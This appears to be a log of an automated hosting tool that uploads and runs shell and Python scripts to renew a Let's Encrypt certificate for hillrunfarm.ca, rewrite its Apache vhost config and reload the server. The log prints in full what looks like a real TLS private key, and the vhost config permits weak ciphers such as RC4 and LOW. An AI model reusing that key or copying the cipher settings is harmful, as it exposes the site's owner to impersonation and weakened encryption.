6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts


2025-12-01 06:00:28: 

chmod 755 /tmp/pkp277437; /tmp/pkp277437; rm /tmp/pkp277437

2025-12-01 06:00:28: 




2025-12-01 06:00:38: Establishing a connection
2025-12-01 06:00:38: 

PUT: /tmp/pkp827303

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0
rm 6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts


2025-12-01 06:00:38: 

chmod 755 /tmp/pkp827303; /tmp/pkp827303; rm /tmp/pkp827303

2025-12-01 06:00:38: 




2025-12-01 06:00:38: Establishing a connection
2025-12-01 06:00:38: 

PUT: /tmp/pkp189694

#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt

cat > $temp_file <<'endmsg'
1a:8f:d0:a1:6b:dc:6f:d2:ff:3f:20:c6:a5:7e:62:79

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBnVQ/qt9Y8PBgG/b07DcMJzyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMjA3WhcNMjYwMzAxMDUwMjA2WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL5xS2DHWYwvwYOxPbtPUticBGam+k5hGr9kM5nWMabgVborciQdTuTN+bfDvleH
TCYefmRJlcgV3pGJ9vvMYU+nHmvW3szyOSG9IqIRPC0MwQdOSAtbwilIhpXv087S
Fsa9DHzgia9fiYnIUO0lZVsO2fI2gZI4lbI+rfkftpiTIena7PWVGD0WnvepYRn9
2NN1kPdJmksYWHZHxYlbI2Bl43dD0oRulkORWR/72Kgp10EhInRXVo3kD6DHva0R
H0U+/Fz6S/q2U79qZiJesOh+Zu0/HLwB72iZk7P1HjdX9D/txZWgqUjs+84BRypX
CdzAHZZ2tzDxuWoYARK0BkkCAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4vSbV3j+4Y/0EFxWn4W0eeLkUcQwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABmth/roIAAAQDAEcwRQIhAPaaQpaAIs09Ub/asfE2BjePvks4i9kmy7PgrpUY
tVSxAiBM2ax6x2eig1LJE/2ZoNnQi/bYXcJy9H+nXRtBxIBrvQB2AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmth/roMAAAQDAEcwRQIgVJWDM3dw
cGAMMvygmT8aU5vnDvV6Kk/9oTvWGuKGXXACIQDCpUNWC6sB9QySOeaJKwGYGL/V
FBmCZGaXL1bhKGahZTANBgkqhkiG9w0BAQsFAAOCAQEAhGIXM1EhMC3CdjBeOE6m
5sae5wxqBu8Z3jWfMrLRIquvG1qohpyB6T6D7+xW77eTPVJqr03bNPOKyss/NkuW
1Q1Uhrdt+3vi4CFffmFMcYKz1U5kGNsJBqYAQtWy10z5HeiXzSpUggpgiJuymUCR
V3xTKcuaYyru1FRtMv2u3Ym2gblVZGquBMzNNQOjc8PLaq7cCJ/kfLSK8VeTmIFh
b09SOHkwtwO4DANFl53Dr/RD6Zn7VFUUIeMlhZ2o8aiEDOqjKaXeF9kXYXh/3I/n
LchUQMKdry9aUg6qQVp8f1Mt7WMhx+X7TeGy65/Uj7coojI+RYv4BwhfU01Uy6CM
Hw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+cUtgx1mML8GD
sT27T1LYnARmpvpOYRq/ZDOZ1jGm4FW6K3IkHU7kzfm3w75Xh0wmHn5kSZXIFd6R
ifb7zGFPpx5r1t7M8jkhvSKiETwtDMEHTkgLW8IpSIaV79PO0hbGvQx84ImvX4mJ
yFDtJWVbDtnyNoGSOJWyPq35H7aYkyHp2uz1lRg9Fp73qWEZ/djTdZD3SZpLGFh2
R8WJWyNgZeN3Q9KEbpZDkVkf+9ioKddBISJ0V1aN5A+gx72tER9FPvxc+kv6tlO/
amYiXrDofmbtPxy8Ae9omZOz9R43V/Q/7cWVoKlI7PvOAUcqVwncwB2Wdrcw8blq
GAEStAZJAgMBAAECggEATSL0hhmYwrhhKGc0+tZxVv0ypyWBAxg/zj/WyrvAVrhM
4OBSFiCs4O4w9GbbhPZvOI1nYlWPzoBVKxv3pxusWqf1IXbhvZ9q1qiWC5Dxj8m3
sa7abYdYCIKwyLBgWUgtI4hVM4t7GUaYHe++H5/jAtPsIThEmSZEM/NBYkOfIQLb
MuQOC31/eKNuTTnkAAtt+a9IPsTwh+dHExiIJXqdCdQxchvq1ER/bF6pkSzCX21f
EgP9HN+QTL/gJjvDlp5XCsqVC9KtpE6Pl6Dm5fLuAAjrJE/6Z3La1dRZib+HvDTk
4yQDmEafqIoPxSrYF7MBSLDzXhh+DhymPoHkBP/yEQKBgQD5AqpFPqt7mtMfyItP
sUpVr18402G8OW7eFPxMY1wPL2TO2P2gujJPhFUEBK0hdCmrtq4Ay4F+79zFR8rw
lb9GIyel2Dfdf1EKt/Bx2Nv/XkGvQzUv7ZXJTIdpNOTsOpWvYF88ymowxFjF+bCX
YYhkTaNnWLR2do61Et61W8OfnQKBgQDDycX+PDdhplqJctX1JxbEpFSqHR/MvYAs
Sfq7OCiLB7nFKI5Xg/nLKRFvwS5fv+E1QhwJB7JjpSnRIZBz14GM+SV3zkdDeExH
g2WjjwQ4+w2xC9PpZdwVg+9gZU2wvbDP/05HZ5kIeOmTc3vGByKs0HKwBTod3mts
T6lfjam/nQKBgGv2wtqZDILgIw/RxM09wkwaaH/b7rFMeYxiru1z2xNeaifhHz6T
3IJrjuzaFjK+Cd9Aqnr/wVrHJwKGWTAszSzcyzD16Wro67to+yBxdRloxbP2wNXR
/jK0MrXj0Cm4UPQkJcbWwGn6h772vqE0EY3jt6h0ZnJCfyd1UghyDARlAoGAUOyF
OaAKBAKOSWF9reaKMpz5oZaIHkf1QlkRmXCM0WpQDn3E18dk5+QBoP9n+4uDuk+o
5tKXmTgbIKWO31Kj6XDRW8OXEPwYCzb0O7ZROHwMHLGW1VGUtg/iUSWOBw9glZgg
8sKPLkFLyfZhomgwnN1LihWe/9l+7TW//A7BqsECgYEAvvJs4Y5fGlK+e1QU5vin
57yHaoLivK5tX5eKU7cQ5xf8t9Wjex28NjaZof0fhEW0RCnZxx1mU3gqCF6n1QiL
I8zb1sEeKDJA2RRbj7CZRKe8KuXXyCRKSL6XjE6JWFZAi5kDA4BrX5y7P8TvCMed
18bpFmLc0JCfG5eHAu/wpK8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-01 06:00:38: 

chmod 755 /tmp/pkp189694; /tmp/pkp189694; rm /tmp/pkp189694

2025-12-01 06:00:38: 


dir=/etc/ssl/certs


2025-12-01 06:00:38: 

PUT: /tmp/pkp300179

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-01 06:00:38: 

chmod 755 /tmp/pkp300179; /tmp/pkp300179; rm /tmp/pkp300179

2025-12-01 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-01 06:00:39: 

PUT: /tmp/pkp307624

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi


2025-12-01 06:00:39: 

chmod 755 /tmp/pkp307624; /tmp/pkp307624; rm /tmp/pkp307624

2025-12-01 06:00:39: 




2025-12-01 06:00:39: 

PUT: /tmp/pkp620437

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-01 06:00:39: 

chmod 755 /tmp/pkp620437; /tmp/pkp620437; rm /tmp/pkp620437

2025-12-01 06:00:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:00:39: Establishing a connection
2025-12-01 06:00:39: 

PUT: /tmp/pkp402725

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-01 06:00:39: 

chmod 755 /tmp/pkp402725; /tmp/pkp402725; rm /tmp/pkp402725

2025-12-01 06:00:39: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:00:39: 

PUT: /tmp/pkp645429

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:00:39: 

chmod 755 /tmp/pkp645429; /tmp/pkp645429; rm /tmp/pkp645429

2025-12-01 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf	1391

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-01 06:00:39: 

PUT: /tmp/pkp666721

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:00:39: 

chmod 755 /tmp/pkp666721; /tmp/pkp666721; rm /tmp/pkp666721

2025-12-01 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt	5377
1a:8f:d0:a1:6b:dc:6f:d2:ff:3f:20:c6:a5:7e:62:79

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBnVQ/qt9Y8PBgG/b07DcMJzyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMjA3WhcNMjYwMzAxMDUwMjA2WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL5xS2DHWYwvwYOxPbtPUticBGam+k5hGr9kM5nWMabgVborciQdTuTN+bfDvleH
TCYefmRJlcgV3pGJ9vvMYU+nHmvW3szyOSG9IqIRPC0MwQdOSAtbwilIhpXv087S
Fsa9DHzgia9fiYnIUO0lZVsO2fI2gZI4lbI+rfkftpiTIena7PWVGD0WnvepYRn9
2NN1kPdJmksYWHZHxYlbI2Bl43dD0oRulkORWR/72Kgp10EhInRXVo3kD6DHva0R
H0U+/Fz6S/q2U79qZiJesOh+Zu0/HLwB72iZk7P1HjdX9D/txZWgqUjs+84BRypX
CdzAHZZ2tzDxuWoYARK0BkkCAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4vSbV3j+4Y/0EFxWn4W0eeLkUcQwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABmth/roIAAAQDAEcwRQIhAPaaQpaAIs09Ub/asfE2BjePvks4i9kmy7PgrpUY
tVSxAiBM2ax6x2eig1LJE/2ZoNnQi/bYXcJy9H+nXRtBxIBrvQB2AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmth/roMAAAQDAEcwRQIgVJWDM3dw
cGAMMvygmT8aU5vnDvV6Kk/9oTvWGuKGXXACIQDCpUNWC6sB9QySOeaJKwGYGL/V
FBmCZGaXL1bhKGahZTANBgkqhkiG9w0BAQsFAAOCAQEAhGIXM1EhMC3CdjBeOE6m
5sae5wxqBu8Z3jWfMrLRIquvG1qohpyB6T6D7+xW77eTPVJqr03bNPOKyss/NkuW
